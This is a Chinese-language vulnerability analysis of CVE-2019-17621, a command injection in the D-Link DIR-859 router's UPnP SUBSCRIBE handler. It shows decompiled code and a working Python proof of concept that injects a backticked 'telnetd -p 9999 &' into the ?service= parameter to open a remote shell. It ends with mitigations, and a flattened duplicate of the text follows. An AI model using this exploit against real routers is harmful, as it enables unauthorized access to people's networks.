D-Link DIR-859 —未经身份验证的RCE(CVE-2019–17621)
字数 1079 2025-08-26 22:11:51

D-Link DIR-859 未经身份验证的RCE漏洞(CVE-2019-17621)分析报告

漏洞概述

本报告详细分析了D-Link DIR-859路由器中的远程代码执行漏洞(CVE-2019-17621),该漏洞存在于UPnP服务处理过程中,允许未经身份验证的攻击者在局域网内执行任意代码。

受影响产品及版本

  • 型号: DIR-859
  • 固件版本:
    • 1.06b01 Beta01
    • 1.05
  • 架构: MIPS 32位

UPnP协议简介

UPnP(Universal Plug and Play)是专用网络中设备间的通信协议,主要功能是自动端口映射,无需用户手动配置路由器。它特别适用于需要动态端口分配的场景,如视频游戏系统。

漏洞技术分析

漏洞位置

漏洞存在于/htdocs/cgibin二进制文件的genacgi_main()函数中,该函数处理UPnP请求。

漏洞触发条件

  1. 请求方法必须为SUBSCRIBE
  2. 请求URI必须包含?service=参数

关键代码分析

genacgi_main()函数

/* 检查请求方法是否为SUBSCRIBE */
metodo = getenv("REQUEST_METHOD");
request_uri = getenv("REQUEST_URI");
request_uri_0x3f = strchr(request_uri, 0x3f); // 查找'?'字符
cmp_service = strncmp(request_uri_0x3f, "?service=", 9);
if (cmp_service != 0) {
    return -1;
}

/* 获取环境变量 */
server_id_3 = getenv("SERVER_ID");
http_sid_2 = getenv("HTTP_SID");
http_callback_2 = getenv("HTTP_CALLBACK");
http_timeout = getenv("HTTP_TIMEOUT");
http_nt_2 = getenv("HTTP_NT");
remote_addr = getenv("REMOTE_ADDR");

/* 漏洞点: 格式化字符串注入 */
sprintf(buffer_8, "%s \n METHOD=SUBSCRIBE \n INF_UID=%s \n SERVICE=%s \n HOST=%s \n URI=/%s \n TIMEOUT=%d \n REMOTE=%s \n SHELL_FILE=%s/%s_%d.sh", 
        "/htdocs/upnp/run.NOTIFY.php", 
        server_id_3, 
        request_uri_0x3f, 
        http_callback_2 + 7, 
        str_http_callback_0x2f + 1, 
        flag_2, 
        remote_addr, 
        "/var/run", 
        request_uri_0x3f, 
        get_pid_1);

/* 发送数据 */
xmldbc_ephp(0, 0, buffer_8, (int)stdout);

漏洞利用链

  1. 攻击者构造特殊格式的UPnP SUBSCRIBE请求
  2. genacgi_main()函数将?service=后的内容直接拼接到SHELL_FILE参数
  3. 数据被传递到PHP脚本run.NOTIFY.php
  4. PHP脚本调用GENA_subscribe_new()函数
  5. 最终调用GENA_notify_init()函数,将攻击者控制的文件名用于创建shell脚本

关键利用点

GENA_notify_init()函数中的代码:

fwrite(w, $shell_file, "#!/bin/sh \n" . 'echo "[$0] ..." > ' . $upnpmsg . " \n" . "xmldbc -P " . $target_php . " -V INF_UID=" . $inf_uid . "-V HDR_URL=" . $uri . " -V HDR_HOST=" . $host . " -V HDR_SID=" . $sid . " -V HDR_SEQ=0" . " | httpc -i " . $phyinf . " -d \" " . $host . " \" -p TCP > " . $upnpmsg . " \n");
fwrite(a, $shell_file, "rm -f " . $shell_file . " \n");

攻击者可以通过在?service=参数中注入反引号包裹的命令来执行任意代码。

漏洞利用PoC

import socket
import os
from time import sleep

def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}').format(host=server, port=port)
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    
    sleep(1)
    print('[*] Sending Payload')
    con.connect((socket.gethostbyname(server), port))
    con.send(request.encode())
    results = con.recv(4096)
    
    sleep(1)
    print('[*] Running Telnetd Service')
    sleep(1)
    print('[*] Opening Telnet Connection \n')
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')

serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

漏洞利用步骤

  1. 构造特殊的HTTP SUBSCRIBE请求
  2. ?service=参数中注入命令(如启动telnet服务)
  3. 发送请求到目标路由器的49152端口(UPnP服务端口)
  4. 连接新开启的服务(如telnet的9999端口)获取shell

防御措施

  1. 升级到官方修复的固件版本
  2. 禁用UPnP服务(如果不需要)
  3. 在网络边界阻止对路由器49152端口的访问
  4. 实施网络分段,限制对路由器的管理接口访问

参考链接

D-Link DIR-859 未经身份验证的RCE漏洞(CVE-2019-17621)分析报告 漏洞概述 本报告详细分析了D-Link DIR-859路由器中的远程代码执行漏洞(CVE-2019-17621),该漏洞存在于UPnP服务处理过程中,允许未经身份验证的攻击者在局域网内执行任意代码。 受影响产品及版本 型号 : DIR-859 固件版本 : 1.06b01 Beta01 1.05 架构 : MIPS 32位 UPnP协议简介 UPnP(Universal Plug and Play)是专用网络中设备间的通信协议,主要功能是自动端口映射,无需用户手动配置路由器。它特别适用于需要动态端口分配的场景,如视频游戏系统。 漏洞技术分析 漏洞位置 漏洞存在于 /htdocs/cgibin 二进制文件的 genacgi_main() 函数中,该函数处理UPnP请求。 漏洞触发条件 请求方法必须为 SUBSCRIBE 请求URI必须包含 ?service= 参数 关键代码分析 genacgi_ main()函数 漏洞利用链 攻击者构造特殊格式的UPnP SUBSCRIBE请求 genacgi_main() 函数将 ?service= 后的内容直接拼接到 SHELL_FILE 参数 数据被传递到PHP脚本 run.NOTIFY.php PHP脚本调用 GENA_subscribe_new() 函数 最终调用 GENA_notify_init() 函数,将攻击者控制的文件名用于创建shell脚本 关键利用点 GENA_notify_init() 函数中的代码: 攻击者可以通过在 ?service= 参数中注入反引号包裹的命令来执行任意代码。 漏洞利用PoC 漏洞利用步骤 构造特殊的HTTP SUBSCRIBE请求 在 ?service= 参数中注入命令(如启动telnet服务) 发送请求到目标路由器的49152端口(UPnP服务端口) 连接新开启的服务(如telnet的9999端口)获取shell 防御措施 升级到官方修复的固件版本 禁用UPnP服务(如果不需要) 在网络边界阻止对路由器49152端口的访问 实施网络分段,限制对路由器的管理接口访问 参考链接 原文分析: https://medium.com/@s1kr10s/d-link-dir-859-rce-unautenticated-cve-2019-17621-en-d94b47a15104 漏洞演示视频: https://youtu.be/Q1HC5ExoE30